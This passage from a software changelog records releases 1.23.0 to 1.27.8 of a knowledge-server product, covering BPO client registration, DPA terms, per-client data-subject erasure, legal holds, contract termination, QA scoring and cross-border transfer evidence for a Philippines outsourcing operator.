Tests: server bin 617 passed / 6 ignored (incl. the 3 new wiring tests: owner + scorecard round-trip, the manages owner filter, coach note + audit + 404); lib qa module tests; clippy -D warnings + fmt clean; schema, route-coverage, route-authz + openapi guard audits green. Honest ceilings: coaching is a flag + note a human decides on (never auto-discipline), it never gates approval, and the queue is the review surface (no separate interactions table). See IMPLEMENTATION_PLAN_v1.27.8_QaQueue.md.


[1.27.7] — 2026-08-15

Server — “Qa” (agent-QA core)

Release 7 of 10 of the BPO Ops series. Server Cargo.toml/lock 1.27.6 → 1.27.7; schema unchanged (1.27.0); client + plugin unchanged.

Release notes

Improvements

  • Scope-violation detection — a role-restricted agent (R1 roles narrowed its retrieval) that recalls across a client/perimeter border is now logged as a security event on the existing Auth/Denied audit channel, so the attempt has an audit record even though the WHERE clause already prevented the data returning.
  • Deterministic QA scorecard — a small pure 0..100 map (scope × cite × confidence) that is the building block for the automated review-queue signal.

Engineering record

Two pure functions + one call site, no schema/table/route change. src/qa.rs (scope_violation, scorecard) is a dependency-free module (bin-side like gate.rs); run_recall wires scope-violation detection into the point where domains_searched is available and the role gate was applied. Reuses AuditKind::Auth + Denied — the established security channel (the ump_ops precedent) — so no audit-kind/test-lattice churn. The detection is observational only: it never changes recall results. scorecard is marked #[allow(dead_code)] until R8’s queue renders it.

Tests: server bin 613 passed / 6 ignored (includes the 3 new qa tests); clippy -D warnings + fmt clean (default, bench, and bench,otel). Honest ceilings: this is QA core, not the queue — nothing surfaces the scorecard yet (R8); the detection is best-effort audit, not enforcement. See IMPLEMENTATION_PLAN_v1.27.7_Qa.md.


[1.27.6] — 2026-08-15

Server — “Terminate” (per-client contract-end)

Release 6 of 10 of the BPO Ops series. Server Cargo.toml/lock 1.27.5 → 1.27.6; schema unchanged (1.27.0); client + plugin unchanged.

Release notes

  • Contract-end termination — POST /clients/{name}/end runs the per-client termination clause: it erases (purge) or exports-and-freezes (return) the client’s active memory per its DPA retention_on_termination — a purge DPA is the common posture, and the flag --purge/--return overrides the policy — honors per-domain legal holds (deferred on the certificate, never purged), then archives the client + its domain (status='archived', archived_at stamped; the audit chain is never deleted). Returns a TerminationCertificate (policy, purged_chunk_count, held_ids, exported_bundle, chain_head) the operator keeps as the durable record. Admin + audited (kind ‘client’).
  • brain client end <name> [--purge|--return] [--dataset D] [--yes] — the CLI driver with a destructive-action confirm (skipped with --yes).

Engineering record

Every primitive already existed — this composes them: the domain pool’s active ids are purged via the shared purge_chunk_ids (erase + tombstone + orphan sweep, the DSAR helper) excluding active holds (active_hold_ids), or exported via the shared DSAR build_export_bundle; termination writes NO new table, the archive is an clients.status toggle. Domain work runs first, the global register archive + single audit row second — two transactions across pools (multi-db) are not atomic, so a crash mid-way leaves the domain purged but the row active, recoverable by re-running end (the archive is a no-op once archived).

Tests: server bin 605 → 610 passed / 6 ignored, lib 105 → 106; clippy -D warnings + fmt clean; route + route-authz + openapi audits green (route /clients/{name}/end added to the router + guard tables, TerminationCertificate schema). Honest ceilings: this is the clean-exit record, NOT enforcement — gating recall on the archived status is a later release; per-client holds are deferred (the DPO decides, never auto-released); the certificate + register archive are the durable record, not a distributed transaction. See IMPLEMENTATION_PLAN_v1.27.6_Terminate.md.


[1.27.5] — 2026-08-15

Release 5 of 10 of the BPO Ops series. Server Cargo.toml/lock 1.27.4 → 1.27.5; schema unchanged (1.27.0); client + plugin unchanged.

Release notes

  • Per-client legal hold — POST /clients/{name}/hold freezes knowledge ids in that client’s isolation domain, never another’s — the proof + the ergonomics the v1.22 holds already promised (each domain’s legal_holds table keys its own ids). The client’s domain resolves from the register (404 unknown client, 409 archived, before any pool work), then the shared per-domain hold write freezes each id against decay, /purge (409 legal_hold_active) and DSAR deferral (certificate held_ids) until explicitly released. Admin + audited (kind ‘client’). brain client hold add <name> <id> ... --reason R places holds; brain client hold list <name> shows a client’s holds.

Engineering record

  • src/handlers/holds.rs extracts post_legal_hold’s body into the one shared post_legal_hold_for_domain(state, principal, domain, ids, reason); the /legal-hold route (with global / its ?domain=) and the new /clients/{name}/hold both compose it — no second hold implementation. src/handlers/clients.rs gains client_hold + ClientHoldRequest; it authorizes Admin, resolves the client row + status, then delegates (fail-closed existence check inside the per-domain tx, ids bounded by the shared MAX_HOLD_IDS, all-or-nothing). The authz-gate delegation scan learns post_legal_hold_for_domain( (the run_recall/ingest_one seam). Body reason is required non-blank (the shared legal_hold::validate); ids must exist in the client’s domain. Routed + route-coverage + route-authz guard tables + openapi.yaml path in src/main.rs. src/bin/brain.rs extends cmd_client with hold add|list.
  • Panic/unsafe sweep: zero unwrap()/unsafe outside #[cfg(test)] in the new code; no new tables or schema change; no new dependency; client + plugin untouched (server-only release).
  • Tests: server bin 605 / 6 ignored (+2 — legal_hold_per_client_isolates_domains (identical autoincrement ids across acme-us + beta-eu — acme’s held, beta’s identical-id row free; the active_hold_ids sets differ), client_hold_unknown_or_archived_rejected (404 unknown / 409 archived before any pool work)); lib 105 unchanged; route
    • authz + openapi audits green; clippy -D warnings (default + bench) + fmt clean; brain release build clean.
  • Honest ceilings: this is proof + ergonomics, not new hold semantics — a hold stays per-domain, keyed by that domain’s ids; archiving a client does NOT auto-release holds (R6 termination); recall/DSAR hold behavior unchanged.

[1.27.0] — 2026-08-15

Server — “BPO Ops” (series root, staggered)

The parent milestone behind the 1.27.x line (IMPLEMENTATION_PLAN_v1.27.0_BPO_Ops.md). It was staggered into a compounding chain of ten small, independently-shippable releases (v1.27.1 … v1.27.10) rather than cut as one large release: the full BPO-ops scope (client register, onboarding, per-client DPA terms, jurisdiction-aware DSAR, legal-hold isolation, termination, QA scoring, the supervisor review surface, role-scoped client views, and the client-administration console) was too large for a single release to land, review, and verify cleanly. Each sub-release consumes the previous one’s seams; the register shipped first (v1.27.1) is the spine the rest read.

Release notes

  • Series-root tracking — this entry records the v1.27.0 milestone and its decomposition into v1.27.1 … v1.27.10. No separate binaries were cut for v1.27.0; the first shipped code is v1.27.1 (Clients).

Engineering record

  • Anchor-only release: schema remains 1.27.0 (bumped by v1.27.1) and the crate carries the parent-plan version with no new code — every change ships under a numbered sub-release that follows this entry.

[1.27.4] — 2026-08-15

Server — “Dsar” (per-client jurisdiction-aware DSAR)

Release 4 of 10 of the BPO Ops series. Server Cargo.toml/lock 1.27.3 → 1.27.4; schema unchanged (1.27.0); client + plugin unchanged.

Release notes

  • Per-client DSAR — POST /clients/{name}/dsar runs a subject erasure scoped to a single client’s isolation domain, stamped with that client’s jurisdiction, deadline, rights, and transfer mechanism — the “erase Client Beta’s data on contract end” building block R6’s termination composes. The client’s domain + jurisdiction resolve from the register (404 unknown client, 409 archived), then the shared DSAR core locates → exports → purges within that one domain pool and emits a certificate carrying the client’s jurisdiction + mechanism (advisory, from the client’s transfer register). action = purge | export | both (default purge); dry_run previews the would-be footprint write-free. Admin + audited (kind ‘client’). brain client dsar <name> <subject> [--action purge|export|both] [--dry-run] drives it.

Engineering record

  • src/handlers/observe.rs: the one shared seam run_dsar_subject composes a single domain-pool DSAR into a full DsarResponse (certificate or dry-run footprint), jurisdiction-stamped — authorize dsar_export, run run_dsar_pool (no new purge path: locate/purge/export/certificate/ legal-hold deferral all live there), audit on the global pool (the hash chain is the registry of record) while the ledger row lives in the run’s domain, backfill the certificate, compute the law’s deadline + rights. The inline POST /dsar subject/action validation is extracted into normalize_dsar_subject (used by both — one trust boundary, behavior- preserving, pin test dsar_dry_run_footprint_counts_and_writes_nothing stays green). src/handlers/clients.rs gains client_dsar (Admin + audited) + ClientDsarRequest; it resolves the client row + its transfer mechanism (transfers::list by the client’s jurisdiction, None when none) then delegates. The certificate JSON shape is shared via certificate_json (both post_dsar’s cross-pool aggregate and run_dsar_subject’s single run build the identical contract). src/bin/brain.rs extends cmd_client with dsar. Routed + route-coverage + route-authz guard tables + openapi.yaml path in src/main.rs.
  • Panic/unsafe sweep: zero unwrap()/unsafe outside #[cfg(test)] in the new code; no new tables or schema change; no new dependency.
  • Tests: server bin 603 / 6 ignored (+3 — per_client_dsar_scoped_to_domain (beta-eu purged, acme-us untouched; EU 30-day deadline + objection right), per_client_dsar_unknown_or_archived_client_rejected (404/409 before any pool work), per_client_dsar_shim_single_pool_no_deadlock (a single shared pool at max_size(1) completes — the audit conn is scoped/released before the ledger backfill so shim mode never double-acquires)); lib 105 unchanged; route + authz + openapi audits green; clippy -D warnings (default + bench + otel) + fmt clean; brain release build clean.
  • Honest ceilings: this is subject-erasure composition, not a whole-domain wipe (blanket domain erase is R6 termination); mechanism is advisory metadata (not gating — per-client holds are R5); the audit anchor is the server’s global chain while the ledger row + certificate live in the client’s domain pool.

[1.27.3] — 2026-08-15

Server — “Dpa” (per-client sub-processor DPA terms)

Release 3 of 10 of the BPO Ops series. Server Cargo.toml/lock 1.27.2 → 1.27.3; schema unchanged (1.27.0 — the nullable dpa_terms column shipped in R1); client + plugin unchanged.

Release notes

  • Per-client DPA terms — POST /clients/{name}/dpa stores the Art 28 sub-processor terms (retention-on-termination, deletion timeline, audit rights, breach-notification timeline, onward-transfer restriction, sub-sub-processor list) on a client; GET /clients/{name}/dpa reads them back (null until set). This is the evidence a client’s controller checks before authorizing the BPO. All six fields are free-text, required, and bounded (<= 2000 chars; a blank field is 400 dpa_field_invalid). Admin + audited on write; unknown-client 404 on both routes. brain client dpa get|set <name> drives both.

Engineering record

  • src/clients.rs: DpaTerms struct (six String fields, Default + serde), validate_dpa_terms (trust boundary — terms ride out to a controller unredacted, so nothing goes out blank/oversize; deterministic field order, one error naming the field), set_dpa_terms (scoped WHERE name = ? UPDATE returning the affected-row count → handler 404 without a second query), and dpa_terms_of (None-preserving JSON read). Client gains #[serde(skip_serializing_if = "Option::is_none")] dpa_terms parsed in the one row mapper; CLIENT_SELECT adds the column. src/handlers/clients.rs gains set_client_dpa (Admin + AuditKind::Client, detail dpa_terms_set) + get_client_dpa (distinguishes unknown-client 404 from unset null). src/bin/brain.rs extends cmd_client with dpa get|set (the cmd_client_add HTTP-shape model; set requires all six -- fields). Routed + route-coverage
    • route-authz guard tables + openapi.yaml (DpaTerms schema, two paths) in src/main.rs.
  • Panic/unsafe sweep: zero unwrap()/unsafe outside #[cfg(test)] in the new code; no new tables or schema change; no new dependency.
  • Tests: server bin 600 / 6 ignored (+3 — dpa_terms_round_trip_and_list, validate_dpa_terms_rejects_blank_and_too_long, set_dpa_terms_unknown_client_returns_zero); lib 105 unchanged; clippy -D warnings (default + bench + otel) + fmt clean; brain release build clean.
  • Honest ceilings: terms are config + evidence, name-checked by a human — not a signed contract and not enforcement; sub_sub_processor_list is a bounded text field (normalized sub-processor identity is v2.x); the termination behavior (read by R6) is a later release — nothing here auto-enforces retention-on-termination.

[1.27.2] — 2026-08-15

Server — “Onboard” (the operator client wizard)

Release 2 of 10 of the BPO Ops series. Server Cargo.toml/lock 1.27.1 → 1.27.2; schema unchanged (1.27.0); client + plugin unchanged.

Release notes

  • brain client add — one command that scaffolds a new client domain end-to-end: POST /clients now creates + migrates the client’s isolation domain, optionally binds its law-tuned profile, and registers the clients row (from v1.27.1). --domain defaults to the client name (one domain per client); --jurisdiction is required; an absent --profile runs the preset pick list; --yes skips confirm. Idempotent — re-running for an existing client is a safe no-op.

Engineering record

  • src/handlers/clients.rs register_client now composes through a single testable seam scaffold_and_register in src/clients.rs: pool_for (creates/migrates the domain, the one creation seam) → profile::bind (v1.21 seam; unknown profile fails CLOSED 400 profile_not_found) → register (the v1.27.1 row write). All three steps run in one spawn_blocking; the profile bind is inside the register transaction, so a failed bind leaves neither a clients row nor a domain_profiles bind (atomicity). The compose short-circuits via by_name, making the CLI re-run idempotent. src/bin/brain.rs gains client dispatch + cmd_client_add (the cmd_ump model; preset pick reuses the cmd_setup list/probe), wired into main + print_usage.
  • Panic/unsafe sweep: zero unwrap()/unsafe outside #[cfg(test)] in the new code; no new tables or schema bump; no /clients DELETE (termination is a later release’s end, which archives, never deletes).
  • Tests: server bin 597 / 6 ignored (+2 — create_domain_scaffolding_ _is_idempotent_and_binds_profile + create_domain_bad_profile_fails_ closed_no_client_row, both driving the real multi-db registry + migration); lib 105 unchanged; clippy -D warnings (default + bench + otel) + fmt clean; brain release build clean. The CLI itself is thin (HTTP call); its shape is pinned by parse_flags/post already covered by existing CLI tests — no wizard integration test (R8/R10 territory).
  • Honest ceilings: this is evidence + tagging, not enforcement — nothing gates recall or DSAR on client membership; pool_for still falls back to the shared pool in shim mode; the profile pick is the operator’s judge.

[1.27.1] — 2026-08-15

Server — “Clients” (the BPO operating register)

The spine of the BPO arc (series root IMPLEMENTATION_PLAN_v1.27.0_BPO_Ops.md, Release 1 of 10). Server Cargo.toml/lock 1.26.3 → 1.27.1; schema → 1.27.0; client + plugin unchanged.

Release notes

  • Client register — POST /clients, GET /clients, GET /clients/{name} (Admin + audited, kind 'client'): one row per operating client (name / isolation domain / jurisdiction / bound profile / status), stored in the global DB like the transfers register it mirrors. name + domain reuse the existing path-safe domain validator; jurisdiction reuses the cross-border code gate (the same 400 jurisdiction_invalid as DSAR / transfers). Duplicate name → 409 conflict. This is the identity / evidence register that later BPO releases (onboard, DPA terms, DSAR, holds, termination, QA) read — it does not gate enforcement.

Engineering record

  • New src/clients.rs (constants n/a — reuses the domain/jurisdiction validators, validate_new_client, register, list, by_name + 3 unit tests) + src/handlers/clients.rs (3 routes, thin pool/authz/spawn_blocking surface, no test module — the transfers convention). AuditKind::Client added (exhaustive as_str). Migration adds the clients table + domain index, schema_version → '1.27.0'; SCHEMA_VERSION_V1_27_0 added. Wired into the router, route-coverage + route-authz guard tables, the schema- contract table list + version assertion, the source-listing match, and openapi.yaml (/clients, /clients/{name}).
  • Panic/unsafe sweep: zero unwrap()/unsafe outside #[cfg(test)]; every SQL statement parameterized (INSERT OR IGNORE + row-count check for the 409, no ON CONFLICT churn); name/domain path-safety via the shared validator; jurisdiction gate reused from transfers (no re-write).
  • Tests: server bin 595 / 6 ignored (+3); lib 105 unchanged; clippy -D warnings (default + bench + otel) + fmt clean; route-coverage + route-authz + schema-contract + openapi-coverage audits green.

[1.26.3] — 2026-08-15

Server — “Cross-Border” fourth pass

Server Cargo.toml/lock 1.26.2 → 1.26.3; client + plugin unchanged. The pass-4/5 validator + evidence-fidelity follow-up of v1.26.2.

Release notes

  • No backwards-dated agreements — POST /transfers rejects expires_at < signed_at (400 transfer_timestamp_invalid): an evidence register must not accept an instrument expiring before it was signed.
  • Trimmed certificate mechanism — the DSAR deletion certificate’s mechanism is whitespace-trimmed like the jurisdiction field beside it (still free-text — the operator’s exact label, without stray whitespace in an evidence artifact).

Engineering record

  • validate_register gains the signed/expiry ordering check (+2 assertions: expires < signed rejected, signed == expiry accepted); the DSAR certificate mech_for_cert is map(|m| m.trim().to_string()). openapi 400 description updated. Panic/unsafe sweep re-verified: zero unwrap()/ unsafe outside #[cfg(test)] in the new modules; pedantic/perf/complexity lint scan of the new modules clean.
  • Tests: server bin 592 / 6 ignored; lib 105; otel-gate 594 / 6 ignored; clippy -D warnings (default + bench + otel) + fmt clean; route-coverage + route-authz + schema-contract + openapi-coverage audits green; client wasm untouched.

[1.26.2] — 2026-08-15

Server — “Cross-Border” third pass

Server Cargo.toml/lock 1.26.1 → 1.26.2; client + plugin unchanged. The deep-review follow-up of v1.26.1 — evidence fidelity at the row boundary.

Release notes

  • A NULL lawful basis stays NULL — GET /transfers rows and the DPA artifact now serialize an unrecorded lawful_basis as null rather than the empty string "" (an evidence artifact should never show a blank basis as if one were recorded).
  • Canonical basis spelling on write — a mixed-case lawful_basis ("Contract") is stored in the vocabulary’s lowercase form ("contract"), matching how mechanism/ jurisdiction codes are normalized — validation and storage now agree exactly.

Engineering record

  • Transfer.lawful_basis becomes Option<String> — the None-vs-empty distinction survives transfer_row instead of unwrap_or_default(); register stores b.trim().to_ascii_lowercase() (was str::trim only). New regression lawful_basis_stored_canonical_and_null_semantics_preserved (lowercase storage + NULL→null in row and DPA). Panic/unsafe sweep over the new modules: zero unwrap()/unsafe outside #[cfg(test)]. openapi 400 description covers the timestamp bounds.
  • Tests: server bin 591 → 592 / 6 ignored; lib 105; clippy -D warnings (default + bench + otel) + fmt clean; route audits green; client wasm untouched.

[1.26.1] — 2026-08-15

Server — “Cross-Border” second pass

Server Cargo.toml/lock 1.26.0 → 1.26.1; client + plugin unchanged. The post-review cleanup of v1.26.0 — same feature set, tighter edges. Standards re-checked 2026-08-15: the mechanism vocabulary is current (EU SCC 2021 + UK IDTA/Addendum both still in force — the ICO plans an update during 2026 and the register is a curated snapshot a human re-checks; EU-US DPF adequacy live since 2023-07-10).

Release notes

  • One validation site per field — POST /transfers now validates signed_at/expires_at epoch bounds in the same shared validator as the rest of the payload (previously expires_at was checked in the handler and signed_at not at all). Invalid negative epochs → 400 transfer_timestamp_invalid.
  • Consistent register response — POST /transfers returns id (was transfer_id) to match the GET /transfers rows and the /transfers/{id} artifact routes. Same jurisdiction_invalid code + message as the DSAR jurisdiction gate.
  • OpenAPI schema drift — /dsar now documents jurisdiction/ mechanism (request) + jurisdiction/rights (response) and /ingest documents lawful_basis/purpose + the compliance.lawful_basis_missing flag — fields already returned since v1.25.0/v1.26.0 but absent from the contract file.

Engineering record

  • validate_register gains the signed_at/expires_at bounds (+3 assertions in validate_register_bounds_fields); dead MAX_LIMIT*10 pre-clamp removed from GET /transfers (list is the single bound); dsar_deadline_for collapses two identical fallback branches via and_then on deadline_days; module-internal types tightened pub → pub(crate) (MECHANISMS, LAWFUL_BASISES, JurisdictionRule, SurveillancePosture, Transfer, TiaSection).
  • Tests: server bin 591 / 6 ignored (unchanged — assertions grew in the existing bounds test); lib 105; clippy -D warnings (default + bench + otel) + fmt clean; route-coverage + route-authz audits green; client wasm untouched.

[1.26.0] — 2026-08-15

Server — “Cross-Border” (multi-jurisdiction client evidence, PH BPO)

Server Cargo.toml/lock 1.25.0 → 1.26.0; client + plugin unchanged. An evidence + tagging release (no new enforcement) for a Philippines BPO serving US/UK/EU/AU/SG/CA clients: the BPO is a sub-processor and must satisfy RA 10173 and the client country’s law (GDPR Art 46 SCCs + TIA, UK IDTA, US DPF/HIPAA, AU APPs, SG PDPA, CA PIPEDA). This release ships the cross-border transfer register (Art 30 + Art 46), the per-jurisdiction DSAR deadline + rights surface (GDPR 30d / CCPA 45d / PH “reasonable”), the lawful-basis + purpose tagging flag (Art 5/6 evidence), and the TIA (Schrems II) + DPA (Art 28) evidence templates — all layered on the v1.25 breach/preference/ region primitives.

Release notes

  • Cross-border transfer register — POST /transfers records a cross- border data flow (dataset, origin_jurisdiction, destination_jurisdiction, mechanism, counterparty, lawful_basis?, purpose, signed_at?, expires_at?), GET /transfers lists it newest-first with exact-match filters (mechanism / jurisdiction / dataset). mechanism is validated against the registered safeguards (scc-eu-2021, uk-idta, dpf-us, cbpr, bcr, adequacy). Writes are Admin + audited (kind: "transfer", hash- chained). This is the Art 30 processing-activities + Art 46 transfer-safeguard evidence a client’s regulator asks for.
  • Per-jurisdiction DSAR deadlines + rights — POST /dsar now accepts a jurisdiction (country code); when set, the response + deletion certificate carry the subject’s law (GDPR 1 month, UK GDPR 30 days, CCPA/CPRA 45 days, AU APPs / SG PDPA / CA PIPEDA 30 days, PH RA 10173 “reasonable” → the operator window) and the jurisdiction’s applicable subject rights, so the operator acts per the subject’s law. Missing jurisdiction keeps the legacy generic window.
  • Lawful-basis + purpose tagging — POST /ingest accepts a purpose label (alongside the v1.25 lawful_basis); both are stored on the record and surfaced on the /export + DSAR bundle. A strict-posture domain storing a record with no documented lawful_basis flags it in the ingest response (compliance.lawful_basis_missing — data-minimization + purpose-limitation evidence per NPC 2024-04 + Art 5/6).
  • TIA + DPA templates — GET /transfers/{id}/tia pre-fills the Schrems II Transfer Impact Assessment (transfer, destination law, destination-surveillance posture, supplementary-measures + sign-off prompts) and GET /transfers/{id}/dpa pre-fills the Art 28 sub-processor terms (role, retention, deletion-on- termination, audit rights, breach-notification, onward-transfer restriction). Both are evidence artifacts a human (DPO/legal) reviews + signs — nothing renders legal judgment.

Bug fixes

  • None in this release (v1.25.0 features unchanged).

Security fixes

  • None in this release (no new auth or crypto paths).

Engineering record

  • M1 src/transfers.rs::register + the transfers table in every domain DB (additive, schema → 1.26.0, guarded by the schema-contract test) + src/handlers/transfers.rs (POST/GET /transfers); validated MECHANISMS
    • free-text-supported is_jurisdiction_code (any short lowercase code, so a future law adds without a release).
  • M2 JurisdictionRule — a curated, code-versioned table (JURISDICTIONS: eu/uk/us/au/sg/ca/ph → law + deadline_days + rights). dsar_deadline_for is pure (the law’s fixed days, else PH/“reasonable” → the operator BRAIN_DSAR_WINDOW_DAYS); wired into handlers/observe.rs for the deadline, certificate jurisdiction/mechanism fields, and the response rights list.
  • M3 IngestRequest.purpose + knowledge.lawful_basis/purpose columns + idx_knowledge_purpose; lawful_basis_flag(strict_domain, basis) is pure and surfaced as compliance.lawful_basis_missing on strict-posture ingests.
  • M4 tia_from + dpa_fields — the pre-filled, reviewed-not-rendered artifacts; SurveillancePosture table (destination_posture) gives the §46(2)/Schrems II prompt its destination-surveillance context.
  • Wiring 4 routes (/transfers, /transfers/{id}/tia, /transfers/{id}/dpa) in the router + route-coverage + route-authz guard tables + openapi.yaml. AuditKind::Transfer.
  • Tests — server bin 582 → 591 / 6 ignored; lib 105 unchanged. New: transfer_register_records_every_cross_border_flow (register/list/filter + TIA/DPA render), dsar_deadline_matches_jurisdiction (30/45/reasonable/ unknown), jurisdiction_rights_surface_are_curated, lawful_basis_strict_flagged_only_when_missing_in_strict_domain (deep model), tia_prefilled_from_register_and_posture, breach_scope_covers_register_ jurisdictions (register ↔ breach-vocabulary integration), validate_register_bounds_fields, transfer_list_is_newest_first_and_bounded, and the dpa_fields_resolve_any_row_by_id regression (a by-id lookup — the initial draft resolved only the newest row; fixed). Clippy -D warnings (default + bench + otel) + fmt clean; route-coverage + route-authz audit green.
  • Honest ceilings — this is evidence + tagging, not enforcement: the operator still ships data; nothing gates a transfer on the registered mechanism (blocking policies are v2.x), the jurisdiction rules + surveillance postures are a curated snapshot a human DPO/legal re-checks (law evolves; the artifacts are pre-filled, not signed), PH “reasonable” uses the operator window, and each client’s own controller obligations stay with the client — the BPO/brain-server remain processor/sub-processor.

[1.25.0] — 2026-08-15

Server — “PH-Compliant” (Philippines home-jurisdiction posture)

Server Cargo.toml/lock 1.24.0 → 1.25.0; client + plugin unchanged. An evidence + workflow release for the regulated buyer in the Philippines, honestly framed: the Philippines has no AI statute yet — RA 10173 (DPA 2012) + NPC advisories (2024-04 AI; 2026-01 scraping) + EO 119 (gov-data residency) are the law in force, and HB 7396 (risk-based AI) is pending, not enacted. This release documents the DPA/NPC posture (COMPLIANCE_PH.md), ships the breach-notification workflow (the one genuinely-new primitive), and adds the PIA template + scraping provenance rule — all layered on the existing profile/role/region primitives. See IMPLEMENTATION_PLAN_v1.25.0_PH_Compliant.md.

Release notes

  • Philippines compliance annex — COMPLIANCE_PH.md maps every RA 10173 control (PIC/PIP duties, privacy-by-design, lawful basis, NPC registration, DPO, subject rights, EO 119 residency) to the shipped feature, with an HB 7396 forward-watch note. A cross-reference test pins doc ↔ code coupling.
  • Breach-notification workflow — POST /breach opens an incident (DPO/admin role-gated, 72h PH-DPA + EU-Art-33 deadlines computed per affected jurisdiction), POST /breach/{id}/event appends an append-only notification/assessment log, POST /breach/{id}/close closes it, and GET /breaches / GET /breaches/{id} are the DPO/auditor ledger. Every event is hash-chained into the existing audit (kind: "breach"). Automating detection is v2.x — the workflow is human-opened by the DPO.
  • Scraping provenance (NPC 2026-01) — a scrape ingest without a documented lawful_basis is quarantined, not stored (the v0.9.7 quarantine flag: excluded from recall, KG, and export); a documented basis stores normally.
  • Pre-filled PIA template — PIA_TEMPLATE.md draws the ops picture (data, lawful basis, retention, recipients, transfers) so the DPO’s PIA is not a blank page (pre-filled, not auto-filed).
  • DPO contact on /health — BRAIN_DPO_CONTACT surfaces the named Data Protection Officer on the public health probe + privacy notice (null when unset, never invented).

Security fixes

  • Scraped data without a lawful-basis provenance is no longer silently stored.

Engineering record

  • M1 — posture. src/ph.rs ships the pure decision logic: the DPA_CONTROLS cross-reference map + scrape_posture (scrape-family sources need a bounded lawful_basis or they quarantine) + notification_deadlines (ph NPC 72h / eu authority 72h / subject-notification, de-duplicated, from discovered_at). COMPLIANCE_PH.md documents the control map to shipped features.
  • M2 — breach workflow. src/breach.rs (open/add_event/close/list/ get) + src/handlers/breaches.rs (the five routes, DPO/admin role-gated via can_act_on_breach, audited); AuditKind::Breach; migration adds the breaches + breach_events tables (schema → 1.25.0); wired into the router, the route-coverage + route-authz guard tables, and openapi.yaml.
  • M3 — PIA + scraping. PIA_TEMPLATE.md; IngestRequest gains source + lawful_basis; ingest_one quarantines a no-basis scrape via the existing flag seam.
  • DPO contact — config::dpo_contact() (BRAIN_DPO_CONTACT) surfaced on health_body.compliance.dpo_contact.
  • Tests (server bin 571 → 582 passed / 6 ignored; lib 105 unchanged): compliance_ph_covers_dpa_controls (M1), breach_workflow_computes_ jurisdiction_deadlines + countdown + dpo_role_is_the_breach_actor (M2), breach_chain_verified (audit chain over breach events), health_surfaces_ dpo_contact, scraped_data_without_basis_quarantined, breach_lifecycle_ open_event_close + list bounds + validation. Clippy -D warnings (default + bench + otel) + fmt clean. Route-coverage + route-authz audit green.
  • Honest ceilings — breach detection is human-opened (anomaly/leak sensors are v2.x); a jurisdiction absent from the deadline table yields no deadline (the DPO confirms); the PIA is pre-filled, not auto-filed; HB 7396 is forward-watch only — the structure absorbs it but nothing is pre-implemented; each BPO client’s own jurisdiction is the v1.26.0 cross-border follow-up; the client Security-panel countdown surfacing is a client release.

[1.24.0] — 2026-08-15

Server — “Connectors” (vertical tool integrations, profile-gated)

Server Cargo.toml/lock 1.23.0 → 1.24.0; client + plugin unchanged. The supervised connector pipeline (v0.9.6 Bridge: backfill + reconcile + cursor + source/revision linkage) gains the vertical-configuration lever and the shared translate template the twelve USE_CASES.md audiences need — CRM, Slack, Jira/Linear, and the read-only HRIS/EHR records — on the same template as the existing GitHub connector. No new pipeline; each connector is a translate+ingest module gated by a profile’s connectors_allowed (v1.21.0). Reconcile, never auto-sync; read into memory, never write-back. See IMPLEMENTATION_PLAN_v1.24.0_Connectors.md.

Release notes

  • Profile-gated connector registry — POST /connectors/register (Admin, audited) validates a connector kind against the shipped vocabulary and refuses with 403 connector_not_in_profile any kind a domain’s bound profile does not grant. A health-hipaa domain can register ehr-readonly but not slack; a sales-team domain registers any crm-*. An unbound domain keeps the no-constraint posture.
  • Shared connector translate template — CRM opportunities, Slack messages, Jira/Linear issues, and read-only HRIS/EHR records translate to markdown docs carrying a stable source URI (crm://, slack://, jira://) that links into the existing source/revision model and feeds the kind-scoped /sources/reconcile. Read-only PII records (HRIS/EHR) default to private access scope; every record still flows through the injection screen, so a poisoned record quarantines rather than reaching memory.
  • CLI vocabulary-aware messages — brain connect / brain sync and brain connector-status now recognise the full v1.24 kind set and point operators at the register route instead of stale “v0.9.7+” text.

Security fixes

  • Connector registration is now enforced server-side against the domain’s profile before a connector can advertise for that domain.

Engineering record

  • M1 — registry + profile gating. src/connector/kind.rs pins the shipped vocabulary (CONNECTOR_KINDS), is_connector_kind(), and family(); src/profile.rs adds Profile::connector_allowed() — the pure gate (connectors_allowed absent → allow; explicit empty → deny-all, the air-gap posture; otherwise exact match or bare-family grant for a-b sub- kinds). src/handlers/connectors.rs gains the POST /connectors/register Admin+audited route; wired into the router, the route-authz guard table, and openapi.yaml. M2 — the translate template. src/connector/pipeline.rs (ConnectorDoc, connector_source_kind, live_uris, plus translate_* for crm/slack/issue/structured-fact) is the pure core every connector feeds; source/revision linkage and kind-scoped reconcile reuse the existing sources layer. M3 — supervised. Kind-scoped reconcile sweep + the injection screen applied to translated content. M4 — CLI message tuning.
  • Tests (server bin 569 → 571 passed / 6 ignored; lib 95 → 105 passed): kind vocabulary/unknown-reject/family; Profile::connector_allowed gating (hipaa/sales/air-gap); pipeline translate + source-kind + live-uri linkage (the crm_backfill_links_source_and_revision contract); slack_reconcile_sweeps_deleted_channel_and_spares_other_kinds (kind-scoped sweep); connector_translated_record_quarantines_on_injection_suspect (poisoned connector content quarantines, clean passes). Route-coverage + route-authz audit green with the new route. Clippy -D warnings + fmt clean.
  • Honest ceilings — connectors are supervised backfill + reconcile, not real-time streaming (that is v2.x); the per-source transport (paged fetch, auth refresh, rate limits) needs per-connector handling and the GitHub connector remains the only runnable backfill binary — the other kinds ship in the registry + translate template but have no network client yet, so this release is the foundation, not the full ten-source sync. Read-only into memory; brain-server never mutates Salesforce/Jira/Slack. The client Health panel still reads /connectors (now with last_sync); its connector-status card is unchanged. Schema stays 1.23.0 — M1 adds no DDL (the connectors table already carried kind TEXT); the server Cargo bump is release alignment only, independent of the shared contract.

[1.23.0] — 2026-08-15

Client — “Roles” (operator console renders what your role can act on)

Server + client Cargo.toml/locks (1.22.0/1.21.0 → 1.23.0); plugin unchanged. The v1.17.1 operator roles promised role-based posture; the UI never gated on them. This release makes the operator console render what the resolved role can act on — client-side only, with zero new endpoints and zero new server fields. The MCP surface already accepted {name, roles[]} and stamped the JWT roles claim; M3 just mirrors delegated/server roles into the existing claims shape the client already parses. See IMPLEMENTATION_PLAN_v1.23.0_Roles.md.

Release notes

  • Role-aware operator console — the console now hides what your role cannot act on. The Review queue gates its actions: approve requires a DPO-capable role (server root always counts; reject stays safe for everyone; edit is limited to non-approved proposals). The desktop rail and mobile tab bar hide Subjects / Security / Audit / Data unless the resolved roles grant them. Defense-in-depth — the server still enforces every endpoint; this is the UI posture.
  • Roles resolved once per token — server always grants all panels (incumbent-equivalent), the JWT roles claim grants the delegated set, and an absent token is unrestricted loopback-incumbent (today’s status quo).

Security fixes

